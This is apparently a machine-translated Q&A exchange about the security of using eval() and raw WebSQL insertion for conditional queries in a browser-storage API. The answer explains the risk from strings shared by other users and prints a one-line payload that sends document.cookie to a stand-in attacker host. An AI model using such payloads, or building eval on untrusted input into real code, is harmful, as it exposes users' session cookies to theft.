我几乎已经完成了一个脚本，该脚本公开了一个可以用来在任何Web浏览器存储技术上执行存储操作的API。
我正在处理的最后功能是有条件的检索和删除操作，当然（当然）需要提供有条件的表达式，以评估（使用eval（），或者在webSQL中，，在哪里直接插入）。
我需要至少两个成熟的解析器（一个用于WebSQL，一个用于IndexEdDB）才能将输入验证为有效，但是在安全性评估后，似乎不必要地解析输入，甚至不必要，。
我有点不确定评估原始字符串的安全含义，因此我感谢对我的安全评估的一些输入：
用户：
评估输入直接或间接由用户提供 由于存储的放置性质，应该是无问题的 技术（他/她只能操纵只能访问他/她的数据 对于给定的起源），事实是 用户直接在浏览器中无法完成的API。
第三方：
存储技术遵守相同的原始政策，因此不能 访问属于其他起源的沙箱存储区
我觉得我在评估中忽略了一个或多个可能的安全问题。是这样吗？还是评估（大多数情况下）是正确的？
真正的狂喜安全问题是条件字符串来自的地方。只要字符串总是来自用户，就没有风险 - 用户可以直接从JS控制台中进行eval。一旦允许字符串来自直接用户输入以外的某个地方，您就进入了风险的领域。
假设网站在其代码中使用您的API脚本。还假设他们让您保存您喜欢的搜索条件。进一步假设他们让您与其他用户分享您喜欢的搜索列表。当您查看共享条件时，您正在加载另一个用户提供的字符串。
假设您的一个向您发送链接以查看他保存的条件：
foo==5; e=document.createElement(iframe); e.src='http://badsite.com/stealcookies?'+document.cookie;document.body.appendChild(e);
当您将有条件的数据加载到数据查看器中时，您刚将cookie数据暴露于另一个网站。
对于WebSQL注入（而不是eval），可能会损坏相同的损坏，但仅限于您的数据存储，而不是整个JavaScript执行环境。